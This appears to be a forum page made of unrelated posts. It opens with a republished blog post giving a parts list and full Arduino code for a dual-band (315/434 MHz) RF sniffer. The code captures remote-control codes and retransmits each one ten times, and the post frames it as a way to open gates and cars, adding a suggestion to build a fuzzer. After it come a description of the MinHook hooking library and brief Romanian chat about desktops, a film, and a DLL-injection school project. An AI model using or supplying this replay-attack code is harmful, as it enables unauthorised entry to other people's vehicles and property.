RF Sniffer – open gates, cars, and RF remote controlled devices with ease. The more I get to play with hardware, the more I get to see how security is lacking or implemented poorly (and I’m being very polite here). This time, I would like to share my 315mhz/434mhz RF Sniffer project, which can be used to open poorly protected gates, cars, etc. Nothing new under the sun, only my own take on building such a device. TIP – The size of the antenna is VERY important. Don’t neglect it – use the right length and use a wave calculator for future reference. The story I wanted to see how easy it is to open a keyless car using an Arduino. And then I wanted to simultaneously control multiple appliances operating on different frequencies (315Mhz/434Mhz). Using the following design, you can easily make a fuzzer to randomly open/close/control all kind of RF receivers out-there. You have been warned. Current version of the sniffer will resend whatever it sniffs 10 times. Behavior is easily changeable. I am using the RCSwitch library to reduce heavy thinking on my part. Mission accomplished. Shopping List [TABLE] [TR] [TH]Amount[/TH] [TH]Part Type[/TH] [TH]Properties[/TH] [/TR] [TR] [TD]2[/TD] [TD]Inductor[/TD] [TD=class: props]wire antenna[/TD] [/TR] [TR] [TD]1[/TD] [TD]Red LED – 5mm[/TD] [TD=class: props]package 5 mm [THT]; leg yes; color Red (633nm)[/TD] [/TR] [TR] [TD]1[/TD] [TD]Arduino Uno (Rev3)[/TD] [TD=class: props]type Arduino UNO (Rev3)[/TD] [/TR] [TR] [TD]1[/TD] [TD]315Mhz RF-LINK_RX[/TD] [TD=class: props]package rf-link_rx; part # WRL-10533[/TD] [/TR] [TR] [TD]1[/TD] [TD]434Mhz RF-LINK_RX[/TD] [TD=class: props]package rf-link_rx; part # WRL-10532[/TD] [/TR] [TR] [TD]1[/TD] [TD]315Mhz RF-LINK_TX[/TD] [TD=class: props]package rf-link_tx; part # WRL-10535[/TD] [/TR] [TR] [TD]1[/TD] [TD]434Mhz RF-LINK_TX[/TD] [TD=class: props]package rf-link_tx; part # WRL-10534[/TD] [/TR] [/TABLE] Scheme We connect both receivers/transmitters like the following: Code And here is the Arduino code. Use at your own risk. /* * RF Sniffer © Elia Yehuda 2014 * * This program was coded. * * No warranty whatsoever. * Using this program will cause something, most likely problems. * */ #include <RCSwitch.h> // number of times to resend sniffed value. use 0 to disable. #define RESEND_SNIFFED_VALUES 10 // ye, thats the led pin # #define LED_PIN 13 // class for 315 receiver & transmitter RCSwitch rf315Switch = RCSwitch(); // class for 434 receiver & transmitter RCSwitch rf434Switch = RCSwitch(); void setup() { // print fast to console Serial.begin(115200); // 315 receiver on interrupt #0 (pin #2) rf315Switch.enableReceive(0); // 315 transmitter on pin #4 rf315Switch.enableTransmit(4); // how many resends rf315Switch.setRepeatTransmit(RESEND_SNIFFED_VALUES); // 434 receiver on interrupt #1 (pin #3) rf434Switch.enableReceive(1); // 434 transmitter on pin #5 rf434Switch.enableTransmit(5); // how many resends rf434Switch.setRepeatTransmit(RESEND_SNIFFED_VALUES); Serial.println("[+] Listening"); } // simple decimal-to-binary-ascii procedure char *tobin32(unsigned long x) { static char b[33]; b[32] = '\0'; for ( int z = 0; z < 32; z++) { b[31 - z] = ((x >> z) & 0x1) ? '1' : '0'; } return b; } void process_rf_value(RCSwitch rfswitch, int rf) { char str[120]; unsigned long value; // flash a light to show transmission digitalWrite(LED_PIN, true); value = rfswitch.getReceivedValue(); if (value) { sprintf(str, "[+] %d Received: %s / %010lu / %02d bit / Protocol = %d", rf, tobin32(value), value, rfswitch.getReceivedBitlength(), rfswitch.getReceivedProtocol() ); } else { sprintf(str, "[-] %d Received: Unknown encoding (0)", rf); } Serial.println(str); // resend the sniffed value (RESEND_SNIFFED_VALUES times) rfswitch.send(value, rfswitch.getReceivedBitlength()); // reset the switch to allow more data to come rfswitch.resetAvailable(); // stop light to show end of transmission digitalWrite(LED_PIN, false); } void loop() { if (rf315Switch.available()) { process_rf_value(rf315Switch, 315); } if (rf434Switch.available()) { process_rf_value(rf434Switch, 434); } } Sursa: RF Sniffer – open gates, cars, and RF remote controlled devices with ease. | Ziggy's of the world

[h=1]MinHook - The Minimalistic x86/x64 API Hooking Library[/h]Tsuda Kageyu, 16 Jul 2014 Provides the basic part of Microsoft Detours functionality for both x64/x86 environments. Download Source (v1.2.2) - 48.9 KB Download Precompiled DLLs - 48.8 KB Download Precompiled Static Libraries - 10.4 MB Download Samples - 1.3 KB Release archive of my GitHub repository NuGet Package for the latest version (NuGet Gallery) [h=2]Background[/h] As you who are interested in Windows API hooking know, there is an excellent library for it by Microsoft Research named Detours. It's really useful, but its free edition (called 'Express') doesn't support the x64 environment. Though its commercial edition (called 'Professional') supports x64, it's too expensive for me to afford. It costs around US$10,000! So I decided to write my own library or "poorman's Detours" from scratch. But I haven't designed my library as the perfect clone of Detours. It has just the API hooking functionality because that's all I want. As of June 2014, this library is used in some projects: 7+ Taskbar Tweaker, NonVisual Desktop Access, QTTabBar, x360ce and more. I am happy finding that this project is helpful to people. Sursa: MinHook - The Minimalistic x86/x64 API Hooking Library - CodeProject

Si lumea compara Gnome-Shit, in special dracia aia de pe Ubuntu, cu KDE. Sa fim seriosi...

Povestea e putin stupida. Dar apar cateva idei misto... Si in sfarsit, la scena in care vrea sa mareasca rezolutia pozei, ii zice tipu ca nu poate. Bine, pacat ca baga niste porcarii legate de firewall, de kernel si alte bazaconii. Si nu am inteles de ce l-au numit "Algorithm". Oricum, in mare, e un documentaro-film cu o poveste SF inventata, insa filmul atrage atentia asupra unor probleme: nepasarea oamenilor, monitorizarea tuturor de catre autoritati, mici teorii ale conspiratiei... E ok, se poate vedea.

Am prezentat. Aplicatia nu e deloc stabila, daca era o postam. Va fi facuta open-source cand va fi gata. Am luat 10. Au vazut despre ce e vorba, le-am zis ca am folosit ASM, ca injectez DLL si pun jmp-uri si erau fericiti. O persoana tinea laboratorul de Assembler, iar un profesor cursul de C++. Deci nu le-a fost greu sa inteleaga.